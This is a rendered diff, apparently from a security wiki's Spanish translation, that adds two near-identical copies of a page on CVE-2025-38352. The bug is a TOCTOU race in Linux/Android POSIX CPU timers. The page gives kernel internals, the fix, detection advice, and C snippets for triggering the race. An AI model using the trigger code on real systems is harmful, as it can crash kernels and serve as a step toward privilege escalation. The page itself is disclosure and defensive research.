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				| @ -937,3 +937,5 @@ | ||||
| - [Post Exploitation](todo/post-exploitation.md) | ||||
| - [Investment Terms](todo/investment-terms.md) | ||||
| - [Cookies Policy](todo/cookies-policy.md) | ||||
| 
 | ||||
|   - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) | ||||
| @ -0,0 +1,195 @@ | ||||
| # POSIX CPU Timers TOCTOU race (CVE-2025-38352) | ||||
| 
 | ||||
| {{#include ../../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| Esta página documenta una TOCTOU race en Linux/Android POSIX CPU timers que puede corromper el estado del timer y provocar el crash del kernel, y bajo ciertas circunstancias puede dirigirse hacia privilege escalation. | ||||
| 
 | ||||
| - Componente afectado: kernel/time/posix-cpu-timers.c | ||||
| - Primitiva: expiry vs deletion race under task exit | ||||
| - Dependiente de la configuración: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path) | ||||
| 
 | ||||
| Breve repaso interno (relevante para exploitation) | ||||
| - Tres relojes de CPU impulsan el accounting de los timers vía cpu_clock_sample(): | ||||
| - CPUCLOCK_PROF: utime + stime | ||||
| - CPUCLOCK_VIRT: utime only | ||||
| - CPUCLOCK_SCHED: task_sched_runtime() | ||||
| - La creación del timer enlaza un timer a una tarea/pid e inicializa los nodos de timerqueue: | ||||
| ```c | ||||
| static int posix_cpu_timer_create(struct k_itimer *new_timer) { | ||||
| struct pid *pid; | ||||
| rcu_read_lock(); | ||||
| pid = pid_for_clock(new_timer->it_clock, false); | ||||
| if (!pid) { rcu_read_unlock(); return -EINVAL; } | ||||
| new_timer->kclock = &clock_posix_cpu; | ||||
| timerqueue_init(&new_timer->it.cpu.node); | ||||
| new_timer->it.cpu.pid = get_pid(pid); | ||||
| rcu_read_unlock(); | ||||
| return 0; | ||||
| } | ||||
| ``` | ||||
| - Arming inserta entradas en una per-base timerqueue y puede actualizar la next-expiry cache: | ||||
| ```c | ||||
| static void arm_timer(struct k_itimer *timer, struct task_struct *p) { | ||||
| struct posix_cputimer_base *base = timer_base(timer, p); | ||||
| struct cpu_timer *ctmr = &timer->it.cpu; | ||||
| u64 newexp = cpu_timer_getexpires(ctmr); | ||||
| if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; | ||||
| if (newexp < base->nextevt) base->nextevt = newexp; | ||||
| } | ||||
| ``` | ||||
| - La ruta rápida evita el procesamiento costoso a menos que las expiraciones en caché indiquen una posible activación: | ||||
| ```c | ||||
| static inline bool fastpath_timer_check(struct task_struct *tsk) { | ||||
| struct posix_cputimers *pct = &tsk->posix_cputimers; | ||||
| if (!expiry_cache_is_inactive(pct)) { | ||||
| u64 samples[CPUCLOCK_MAX]; | ||||
| task_sample_cputime(tsk, samples); | ||||
| if (task_cputimers_expired(samples, pct)) | ||||
| return true; | ||||
| } | ||||
| return false; | ||||
| } | ||||
| ``` | ||||
| - Expiration recopila timers expirados, los marca como disparados, los mueve fuera de la cola; la entrega real se difiere: | ||||
| ```c | ||||
| #define MAX_COLLECTED 20 | ||||
| static u64 collect_timerqueue(struct timerqueue_head *head, | ||||
| struct list_head *firing, u64 now) { | ||||
| struct timerqueue_node *next; int i = 0; | ||||
| while ((next = timerqueue_getnext(head))) { | ||||
| struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); | ||||
| u64 expires = cpu_timer_getexpires(ctmr); | ||||
| if (++i == MAX_COLLECTED || now < expires) return expires; | ||||
| ctmr->firing = 1;                           // critical state | ||||
| rcu_assign_pointer(ctmr->handling, current); | ||||
| cpu_timer_dequeue(ctmr); | ||||
| list_add_tail(&ctmr->elist, firing); | ||||
| } | ||||
| return U64_MAX; | ||||
| } | ||||
| ``` | ||||
| Dos modos de procesamiento de expiración | ||||
| - CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: la expiración se difiere mediante task_work en la tarea objetivo | ||||
| - CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: la expiración se maneja directamente en el contexto de IRQ | ||||
| ```c | ||||
| void run_posix_cpu_timers(void) { | ||||
| struct task_struct *tsk = current; | ||||
| __run_posix_cpu_timers(tsk); | ||||
| } | ||||
| #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK | ||||
| static inline void __run_posix_cpu_timers(struct task_struct *tsk) { | ||||
| if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; | ||||
| tsk->posix_cputimers_work.scheduled = true; | ||||
| task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); | ||||
| } | ||||
| #else | ||||
| static inline void __run_posix_cpu_timers(struct task_struct *tsk) { | ||||
| lockdep_posixtimer_enter(); | ||||
| handle_posix_cpu_timers(tsk);                  // IRQ-context path | ||||
| lockdep_posixtimer_exit(); | ||||
| } | ||||
| #endif | ||||
| ``` | ||||
| En la ruta IRQ-context, la firing list se procesa fuera de sighand | ||||
| ```c | ||||
| static void handle_posix_cpu_timers(struct task_struct *tsk) { | ||||
| struct k_itimer *timer, *next; unsigned long flags, start; | ||||
| LIST_HEAD(firing); | ||||
| if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit | ||||
| do { | ||||
| start = READ_ONCE(jiffies); barrier(); | ||||
| check_thread_timers(tsk, &firing); | ||||
| check_process_timers(tsk, &firing); | ||||
| } while (!posix_cpu_timers_enable_work(tsk, start)); | ||||
| unlock_task_sighand(tsk, &flags);              // race window opens here | ||||
| list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { | ||||
| int cpu_firing; | ||||
| spin_lock(&timer->it_lock); | ||||
| list_del_init(&timer->it.cpu.elist); | ||||
| cpu_firing = timer->it.cpu.firing;         // read then reset | ||||
| timer->it.cpu.firing = 0; | ||||
| if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); | ||||
| rcu_assign_pointer(timer->it.cpu.handling, NULL); | ||||
| spin_unlock(&timer->it_lock); | ||||
| } | ||||
| } | ||||
| ``` | ||||
| Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit | ||||
| Preconditions | ||||
| - CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) | ||||
| - The target task is exiting but not fully reaped | ||||
| - Another thread concurrently calls posix_cpu_timer_del() for the same timer | ||||
| 
 | ||||
| Sequence | ||||
| 1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task. | ||||
| 2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list. | ||||
| 3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock. | ||||
| 4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del(). | ||||
| 5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB. | ||||
| 
 | ||||
| Why TASK_WORK mode is safe by design | ||||
| - With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur. | ||||
| - Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent. | ||||
| 
 | ||||
| Fix (Android common kernel) and rationale | ||||
| - Add an early return if current task is exiting, gating all processing: | ||||
| ```c | ||||
| // kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) | ||||
| if (tsk->exit_state) | ||||
| return; | ||||
| ``` | ||||
| - Esto evita entrar en handle_posix_cpu_timers() para tareas que están saliendo, eliminando la ventana donde posix_cpu_timer_del() podría pasar por alto it.cpu.firing y race con el procesamiento de expiración. | ||||
| 
 | ||||
| Impact | ||||
| - La corrupción de memoria del kernel de las timer structures durante la expiración/eliminación concurrente puede provocar fallos inmediatos (DoS) y es una primitiva potente hacia privilege escalation debido a las oportunidades de manipular arbitrariamente el estado del kernel. | ||||
| 
 | ||||
| Triggering the bug (safe, reproducible conditions) | ||||
| Build/config | ||||
| - Asegúrate de CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n y usa un kernel sin el fix de gating de exit_state. | ||||
| 
 | ||||
| Runtime strategy | ||||
| - Apunta a un hilo que esté a punto de salir y adjunta un CPU timer a él (reloj por hilo o a nivel de proceso): | ||||
| - Para por-hilo: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) | ||||
| - Para a nivel de proceso: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) | ||||
| - Arma el timer con una expiración inicial muy corta y un intervalo pequeño para maximizar las entradas en la ruta IRQ-path: | ||||
| ```c | ||||
| static timer_t t; | ||||
| static void setup_cpu_timer(void) { | ||||
| struct sigevent sev = {0}; | ||||
| sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race | ||||
| sev.sigev_signo = SIGUSR1; | ||||
| if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); | ||||
| struct itimerspec its = {0}; | ||||
| its.it_value.tv_nsec = 1;           // fire ASAP | ||||
| its.it_interval.tv_nsec = 1;        // re-fire | ||||
| if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); | ||||
| } | ||||
| ``` | ||||
| - Desde un hilo hermano, eliminar concurrentemente el mismo temporizador mientras el hilo objetivo termina: | ||||
| ```c | ||||
| void *deleter(void *arg) { | ||||
| for (;;) (void)timer_delete(t);     // hammer delete in a loop | ||||
| } | ||||
| ``` | ||||
| - Amplificadores de race: alta tasa de ticks del scheduler, carga de CPU elevada, ciclos repetidos de salida/recreación de hilos. El crash típicamente se manifiesta cuando posix_cpu_timer_del() deja de notar el firing debido a que falla la búsqueda/bloqueo de la tarea justo después de unlock_task_sighand(). | ||||
| 
 | ||||
| Detección y endurecimiento | ||||
| - Mitigación: aplicar el guard exit_state; preferir habilitar CONFIG_POSIX_CPU_TIMERS_TASK_WORK cuando sea posible. | ||||
| - Observabilidad: añadir tracepoints/WARN_ONCE alrededor de unlock_task_sighand()/posix_cpu_timer_del(); alertar cuando se observe it.cpu.firing==1 junto con fallos en cpu_timer_task_rcu()/lock_task_sighand(); vigilar inconsistencias en timerqueue alrededor de la salida de la tarea. | ||||
| 
 | ||||
| Puntos clave de auditoría (para revisores) | ||||
| - update_process_times() → run_posix_cpu_timers() (IRQ) | ||||
| - __run_posix_cpu_timers() selección (TASK_WORK vs IRQ path) | ||||
| - collect_timerqueue(): establece ctmr->firing y mueve nodos | ||||
| - handle_posix_cpu_timers(): suelta sighand antes del bucle de firing | ||||
| - posix_cpu_timer_del(): depende de it.cpu.firing para detectar expiración en vuelo; esta comprobación se omite cuando la búsqueda/bloqueo de la tarea falla durante exit/reap | ||||
| 
 | ||||
| Notas para investigación de explotación | ||||
| - El comportamiento divulgado es una primitiva fiable para provocar crash del kernel; convertirla en una escalada de privilegios suele requerir una superposición adicional controlable (object lifetime o influencia write-what-where) que queda fuera del alcance de este resumen. Trate cualquier PoC como potencialmente desestabilizadora y ejecútela solo en emuladores/VMs. | ||||
| 
 | ||||
| ## References | ||||
| - [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) | ||||
| - [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) | ||||
| - [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) | ||||
| 
 | ||||
| {{#include ../../../banners/hacktricks-training.md}} | ||||
| @ -0,0 +1,195 @@ | ||||
| # POSIX CPU Timers TOCTOU race (CVE-2025-38352) | ||||
| 
 | ||||
| {{#include ../../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| Esta página documenta una condición de carrera TOCTOU en los POSIX CPU timers de Linux/Android que puede corromper el estado del temporizador y provocar un crash del kernel, y que en algunas circunstancias puede dirigirse hacia una escalada de privilegios. | ||||
| 
 | ||||
| - Componente afectado: kernel/time/posix-cpu-timers.c | ||||
| - Primitiva: expiry vs deletion race bajo task exit | ||||
| - Dependiente de la configuración: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path) | ||||
| 
 | ||||
| Breve repaso de internals (relevante para la explotación) | ||||
| - Tres relojes de CPU impulsan la contabilidad para los timers vía cpu_clock_sample(): | ||||
| - CPUCLOCK_PROF: utime + stime | ||||
| - CPUCLOCK_VIRT: utime only | ||||
| - CPUCLOCK_SCHED: task_sched_runtime() | ||||
| - La creación del timer enlaza un timer a una task/pid e inicializa los nodos de timerqueue: | ||||
| ```c | ||||
| static int posix_cpu_timer_create(struct k_itimer *new_timer) { | ||||
| struct pid *pid; | ||||
| rcu_read_lock(); | ||||
| pid = pid_for_clock(new_timer->it_clock, false); | ||||
| if (!pid) { rcu_read_unlock(); return -EINVAL; } | ||||
| new_timer->kclock = &clock_posix_cpu; | ||||
| timerqueue_init(&new_timer->it.cpu.node); | ||||
| new_timer->it.cpu.pid = get_pid(pid); | ||||
| rcu_read_unlock(); | ||||
| return 0; | ||||
| } | ||||
| ``` | ||||
| - Arming inserta en un per-base timerqueue y puede actualizar la next-expiry cache: | ||||
| ```c | ||||
| static void arm_timer(struct k_itimer *timer, struct task_struct *p) { | ||||
| struct posix_cputimer_base *base = timer_base(timer, p); | ||||
| struct cpu_timer *ctmr = &timer->it.cpu; | ||||
| u64 newexp = cpu_timer_getexpires(ctmr); | ||||
| if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; | ||||
| if (newexp < base->nextevt) base->nextevt = newexp; | ||||
| } | ||||
| ``` | ||||
| - La ruta rápida evita el procesamiento costoso a menos que las expiraciones en caché indiquen una posible activación: | ||||
| ```c | ||||
| static inline bool fastpath_timer_check(struct task_struct *tsk) { | ||||
| struct posix_cputimers *pct = &tsk->posix_cputimers; | ||||
| if (!expiry_cache_is_inactive(pct)) { | ||||
| u64 samples[CPUCLOCK_MAX]; | ||||
| task_sample_cputime(tsk, samples); | ||||
| if (task_cputimers_expired(samples, pct)) | ||||
| return true; | ||||
| } | ||||
| return false; | ||||
| } | ||||
| ``` | ||||
| - Expiración recopila timers expirados, los marca como activados, los mueve fuera de la cola; la entrega real se difiere: | ||||
| ```c | ||||
| #define MAX_COLLECTED 20 | ||||
| static u64 collect_timerqueue(struct timerqueue_head *head, | ||||
| struct list_head *firing, u64 now) { | ||||
| struct timerqueue_node *next; int i = 0; | ||||
| while ((next = timerqueue_getnext(head))) { | ||||
| struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); | ||||
| u64 expires = cpu_timer_getexpires(ctmr); | ||||
| if (++i == MAX_COLLECTED || now < expires) return expires; | ||||
| ctmr->firing = 1;                           // critical state | ||||
| rcu_assign_pointer(ctmr->handling, current); | ||||
| cpu_timer_dequeue(ctmr); | ||||
| list_add_tail(&ctmr->elist, firing); | ||||
| } | ||||
| return U64_MAX; | ||||
| } | ||||
| ``` | ||||
| Dos modos de procesamiento de expiraciones | ||||
| - CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: la expiración se difiere vía task_work en la tarea objetivo | ||||
| - CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: la expiración se maneja directamente en el contexto IRQ | ||||
| ```c | ||||
| void run_posix_cpu_timers(void) { | ||||
| struct task_struct *tsk = current; | ||||
| __run_posix_cpu_timers(tsk); | ||||
| } | ||||
| #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK | ||||
| static inline void __run_posix_cpu_timers(struct task_struct *tsk) { | ||||
| if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; | ||||
| tsk->posix_cputimers_work.scheduled = true; | ||||
| task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); | ||||
| } | ||||
| #else | ||||
| static inline void __run_posix_cpu_timers(struct task_struct *tsk) { | ||||
| lockdep_posixtimer_enter(); | ||||
| handle_posix_cpu_timers(tsk);                  // IRQ-context path | ||||
| lockdep_posixtimer_exit(); | ||||
| } | ||||
| #endif | ||||
| ``` | ||||
| En la ruta del contexto IRQ, la firing list se procesa fuera de sighand | ||||
| ```c | ||||
| static void handle_posix_cpu_timers(struct task_struct *tsk) { | ||||
| struct k_itimer *timer, *next; unsigned long flags, start; | ||||
| LIST_HEAD(firing); | ||||
| if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit | ||||
| do { | ||||
| start = READ_ONCE(jiffies); barrier(); | ||||
| check_thread_timers(tsk, &firing); | ||||
| check_process_timers(tsk, &firing); | ||||
| } while (!posix_cpu_timers_enable_work(tsk, start)); | ||||
| unlock_task_sighand(tsk, &flags);              // race window opens here | ||||
| list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { | ||||
| int cpu_firing; | ||||
| spin_lock(&timer->it_lock); | ||||
| list_del_init(&timer->it.cpu.elist); | ||||
| cpu_firing = timer->it.cpu.firing;         // read then reset | ||||
| timer->it.cpu.firing = 0; | ||||
| if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); | ||||
| rcu_assign_pointer(timer->it.cpu.handling, NULL); | ||||
| spin_unlock(&timer->it_lock); | ||||
| } | ||||
| } | ||||
| ``` | ||||
| Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit | ||||
| Preconditions | ||||
| - CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) | ||||
| - La tarea objetivo está saliendo pero no ha sido completamente liberada | ||||
| - Otro hilo llama concurrentemente a posix_cpu_timer_del() para el mismo timer | ||||
| 
 | ||||
| Sequence | ||||
| 1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task. | ||||
| 2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list. | ||||
| 3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock. | ||||
| 4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del(). | ||||
| 5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB. | ||||
| 
 | ||||
| Why TASK_WORK mode is safe by design | ||||
| - With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur. | ||||
| - Even then, if the task is already exiting, task_work_add() fails; conditioning on exit_state makes both modes consistent. | ||||
| 
 | ||||
| Fix (Android common kernel) and rationale | ||||
| - Añadir un retorno temprano si la tarea actual está saliendo, condicionando todo el procesamiento: | ||||
| ```c | ||||
| // kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) | ||||
| if (tsk->exit_state) | ||||
| return; | ||||
| ``` | ||||
| - Esto evita entrar en handle_posix_cpu_timers() para tareas que están saliendo, eliminando la ventana donde posix_cpu_timer_del() podría pasar por alto it.cpu.firing y provocar una condición de carrera con el procesamiento de expiración. | ||||
| 
 | ||||
| Impacto | ||||
| - La corrupción de memoria del kernel en las estructuras de timer durante la expiración/eliminación concurrente puede provocar crashes inmediatos (DoS) y constituye un primitivo poderoso para la escalada de privilegios debido a las oportunidades de manipulación arbitraria del estado del kernel. | ||||
| 
 | ||||
| Desencadenar el bug (condiciones seguras y reproducibles) | ||||
| Build/config | ||||
| - Asegúrese de CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n y use un kernel sin la corrección de gating de exit_state. | ||||
| 
 | ||||
| Estrategia en tiempo de ejecución | ||||
| - Apunte a un hilo que esté a punto de salir y adjúntele un CPU timer (por hilo o reloj por proceso): | ||||
| - For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) | ||||
| - For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) | ||||
| - Actívelo con una expiración inicial muy corta y un intervalo pequeño para maximizar las entradas por IRQ-path: | ||||
| ```c | ||||
| static timer_t t; | ||||
| static void setup_cpu_timer(void) { | ||||
| struct sigevent sev = {0}; | ||||
| sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race | ||||
| sev.sigev_signo = SIGUSR1; | ||||
| if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); | ||||
| struct itimerspec its = {0}; | ||||
| its.it_value.tv_nsec = 1;           // fire ASAP | ||||
| its.it_interval.tv_nsec = 1;        // re-fire | ||||
| if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); | ||||
| } | ||||
| ``` | ||||
| - Desde un thread hermano, eliminar concurrentemente el mismo timer mientras el thread objetivo finaliza: | ||||
| ```c | ||||
| void *deleter(void *arg) { | ||||
| for (;;) (void)timer_delete(t);     // hammer delete in a loop | ||||
| } | ||||
| ``` | ||||
| - Amplificadores de condiciones de carrera: alta tasa de ticks del scheduler, carga de CPU, ciclos repetidos de salida/recreación de hilos. El crash típicamente se manifiesta cuando posix_cpu_timer_del() deja de detectar el firing debido a un fallo en la búsqueda/bloqueo de la tarea justo después de unlock_task_sighand(). | ||||
| 
 | ||||
| Detection and hardening | ||||
| - Mitigation: aplicar el guard exit_state; preferir habilitar CONFIG_POSIX_CPU_TIMERS_TASK_WORK cuando sea factible. | ||||
| - Observability: añadir tracepoints/WARN_ONCE alrededor de unlock_task_sighand()/posix_cpu_timer_del(); alertar cuando se observe it.cpu.firing==1 junto con fallos en cpu_timer_task_rcu()/lock_task_sighand(); vigilar inconsistencias en el timerqueue alrededor de la salida de la tarea. | ||||
| 
 | ||||
| Audit hotspots (for reviewers) | ||||
| - update_process_times() → run_posix_cpu_timers() (IRQ) | ||||
| - __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path) | ||||
| - collect_timerqueue(): sets ctmr->firing and moves nodes | ||||
| - handle_posix_cpu_timers(): drops sighand before firing loop | ||||
| - posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap | ||||
| 
 | ||||
| Notes for exploitation research | ||||
| - The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs. | ||||
| 
 | ||||
| ## Referencias | ||||
| - [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) | ||||
| - [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) | ||||
| - [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) | ||||
| 
 | ||||
| {{#include ../../../banners/hacktricks-training.md}} | ||||
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